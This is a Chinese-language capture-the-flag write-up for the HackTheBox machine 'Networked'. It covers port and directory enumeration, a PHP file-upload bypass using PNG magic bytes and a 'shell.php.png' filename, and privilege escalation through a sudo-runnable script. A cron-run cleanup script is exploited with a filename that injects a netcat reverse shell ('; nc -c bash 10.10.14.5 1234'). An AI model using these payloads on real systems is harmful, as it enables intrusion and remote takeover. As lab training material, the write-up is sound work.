Linux/Networked

Enumeration

nmap

网站更新之后有了一个引导模式,更利于学习了,之前看ippsec的视频,要不总是没有思路,现在出现的问题多了提示也更多了,还没有使用,一会用用再说

首先,第一个问题是“目标上正在运行哪个版本的 Apache?”

所以先使用nmap快速扫描一下端口,看看有什么发现,发现对外开放了22和80,然后扫描对应端口的详细信息

所以第一个问题就很好回答了,快速回答,然后拿到下一个题目“网络服务器上包含备份文件的目录的相对路径是什么?”

包含备份文件的目录?dirsearch扫描一下看看结果

​
dirsearch -u http://10.10.10.146Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927Output File: /home/kali/.dirsearch/reports/10.10.10.146/_23-09-12_07-13-32.txtError Log: /home/kali/.dirsearch/logs/errors-23-09-12_07-13-32.logTarget: http://10.10.10.146/[07:13:33] Starting:[07:13:47] 403 - 213B - /.ht_wsr.txt[07:13:47] 403 - 216B - /.htaccess.bak1…………[07:17:07] 301 - 235B - /backup -> http://10.10.10.146/backup/[07:17:08] 200 - 885B - /backup/[07:17:13] 403 - 210B - /cgi-bin/[07:17:39] 200 - 229B - /index.php[07:17:39] 200 - 229B - /index.php/login/[07:17:58] 200 - 1KB - /photos.php[07:18:26] 200 - 169B - /upload.php[07:18:26] 301 - 236B - /uploads -> http://10.10.10.146/uploads/[07:18:26] 200 - 2B - /uploads/​

看到扫描结果中就有这一题的答案

“阅读lib.php的源代码后,我们发现可以通过上传功能上传JPG、GIF、JPEG和其他一种扩展名。另一个扩展是什么?”

把backup.tar下载下来后,里面就有lib.php

Exploitation

file upload

但是在lib.php中并没有看到相关代码,而题目提示了上传,打开upload.php发现其中包含了lib.php,在其中也看到了另一种被允许的文件格式

第四个任务是“MIME 类型可防止网站上传功能上传实际上不是声明的文件类型的文件。魔术字节用于通过将字节附加到有效负载文件来绕过此问题。PNG 格式的前八个魔法字节是什么?(以 16 个十六进制字符的形式给出您的答案)”

这个答案可以直接去搜索现成的答案

既然提到了这个,说不定一会就会有其他用处,下一个“在 Linux 操作系统上,用户可以安排任务在所需的时间段运行。Linux 中默认的任务调度程序是什么?”

下一个问题已经到了linux系统里面了,看来该上传文件了,在/upload.php下看到一个简易的上传表单

所以按照刚才的提示,他应该是要检查png的mine magic number,先上传一张真的图片,上传成功后可以再photos.php中看到

可以上传文件,尝试上传一个反弹shell,使用16进制编辑器把文件打开,在shell前加上png的magic number,然后保存

在上传页面上传该文件,利用burpsuite修改文件名为shell.php.png,成功上传

上传成功后访问该图片连接,然后看到下面的话,看起来好像有点意思

在kali中开启监听,然后再次访问上传文件的链接,成功拿到apache的shell

Lateral Movement

可以看到在guly下有user.txt,但是我们没法打开,根据问题的提示,有可能guly的shell获取与cron有关

打开crontab.guly文件,发现在特定情况下,会执行check_attack.php文件

check_attack.php文件如下,脚本获取 /var/www/html/uploads 目录中的文件,然后运行lib.php ,getnameCheck函数检查文件名,如果不是有效的ip地址,会执行下面attack部分的代码,exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");代码会将其删除,但是如果拼接指令可以滥用

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>

在uploads目录下新建下面的文件,在kali中开启监听

touch '; nc -c bash 10.10.14.5 1234'

; 会停止rm -f,然后执行后面的nc -e /bin/bash 10.10.14.5 1234,等待定时任务执行后即可获得shell

然后就能拿到user的flag

Privilege Escalation

根据题目的提示“What is the name of the script that guly can run as root without a password?”

获取一个简单的交互式shell后,直接使用sudo -l看看能干什么

打开changename.sh脚本,看起来是要输入一些东西,判断之后进行处理

运行该脚本,来来回回输入好几次后,发现在字符串后跟上/bin/bash就能得到root的shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/412399.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CNAS认可是什么?湖南长沙CNAS专业第三方软件检测机构有哪些?

CNAS是中国合格评定国家认可委员会(China National Accreditation Service for Conformity Assessment)的缩写&#xff0c;是专门负责评定和认可各类检验机构、实验室、认证机构和校验机构的国家认可机构。CNAS认可的好处在于&#xff0c;它证明了软件企业和软件产品具备严格的…

浅聊雷池社区版(WAF)的tengine

雷池社区版是一个开源的免费Web应用防火墙&#xff08;WAF&#xff09;&#xff0c;专为保护Web应用免受各种网络攻击而设计。基于强大的Tengine&#xff0c;雷池社区版提供了一系列先进的安全功能&#xff0c;适用于中小企业和个人用户。 Tengine的故事始于2011年&#xff0c;…

Nginx前后端分离部署springboot和vue项目

Nginx前后端分离部署springboot和vue项目&#xff0c;其实用的比较多&#xff0c;有的小伙伴对其原理和配置还一知半解&#xff0c;现在就科普一下&#xff1a; 1、准备后端项目 后端工程无论是微服务还是单体&#xff0c;一般最终都是jar启动&#xff0c;关键点就是把后端服…

Rust之构建命令行程序(三):重构改进模块化和错误处理

开发环境 Windows 10Rust 1.74.1 VS Code 1.85.1 项目工程 这次创建了新的工程minigrep. 重构改进模块化和错误处理 为了改进我们的程序&#xff0c;我们将修复与程序结构及其处理潜在错误的方式有关的四个问题。首先&#xff0c;我们的main函数现在执行两项任务:解析参数和…

Midjourney 1 月 17 日官方版本补丁更新公告,可能于二月底或三月向公众开放

Midjourney专区&#xff1a;Midjourney-喜好儿aigc 更多消息&#xff1a;AI人工智能行业动态&#xff0c;aigc应用领域资讯 功能更新和开发 修复/改变区域和缩小功能预计在本周或下周推出 测试一致的样式&#xff0c;强调样式而不是内容 常量字符功能正在开发中&#xff0c;但…

怿星科技测试实验室获CNAS实验室认可,汽车以太网检测能力达国际标准

2023年12月27日&#xff0c;上海怿星电子科技有限公司测试实验室&#xff08;下称&#xff1a;EPT LABS&#xff09;通过CNAS实验室认可批准&#xff0c;并于2024年1月5日正式取得CNAS实验室认可证书&#xff08;注册号CNAS L19826&#xff09;&#xff0c;标志着怿星科技的实验…

Android CarService源码分析

文章目录 一、CarService的基本架构1.1、Android Automative整体框架1.2、Framework CarService1.3、目录结构1.3.1、CarService1.3.2、Car APP 二、CarService的启动流程2.1、系统启动后在SystemServer进程中启动CarServiceHelperService2.2、CarService启动 三、CarService源…

Ubuntu 安装Python3.8

安装Python3.8 一、安装环境 Ubuntu2004Python2.7 目标是将python版本从 2.7 更新到3.8 二、安装步骤 2.1 下载python3.8安装包 wget https://www.python.org/ftp/python/3.8.0/Python-3.8.0.tar.xz2.2 安装 依次执行如下步骤&#xff1a; tar Jxf Python-3.8.0.tar.xz…

【控制篇 / 分流】(7.4) ❀ 03. 对国内和国际IP网段访问进行分流 ❀ FortiGate 防火墙

【简介】公司有两条宽带用来上网&#xff0c;一条电信&#xff0c;一条IPLS国际专线&#xff0c;由于IPLS仅有2M&#xff0c;且价格昂贵&#xff0c;领导要求&#xff0c;访问国内IP走电信&#xff0c;国际IP走IPLS&#xff0c;那么应该怎么做&#xff1f; 国内IP地址组 我们已…

Python实现员工管理系统(Django页面版 ) 八

Hello 大家新年好。今天这篇博客是用来填补之前的登录系统的不足所遗留下来的坑点&#xff0c;你们知道的&#xff0c;我有坑是必补啊。 首先我留的第一个坑点不知道大家有没有注意到&#xff0c;当我们没并没有登录的时候&#xff0c;但是如果我们事先知道一些内部测试的网站路…

7.6 MySQL基本函数的使用(❤❤❤)

7.6 MySQL基本函数的使用 1. 提要2. 数字函数3. 字符函数3.1 替换字符3.2 左填充字符及截取字符串 4. 日期函数4.1 日期函数4.2 表达式占位符4.3 日期偏移计算4.4 日期间隔 5. 条件函数5.1 IF语句5.2 case...when语句 1. 提要 2. 数字函数 3. 字符函数 3.1 替换字符 -- INSERT…

k8s---ingress对外服务(ingress-controller)

ingress 概念 k8s的对外服务&#xff0c;ingress service作用现在两个方面&#xff1a; 1、集群内部&#xff1a;不断跟踪的变化&#xff0c;更新endpoint中的pod对象&#xff0c;基于pod的ip地址不断变化的一种服务发现机制。 2、集群外部&#xff1a;类似于负载均衡器&a…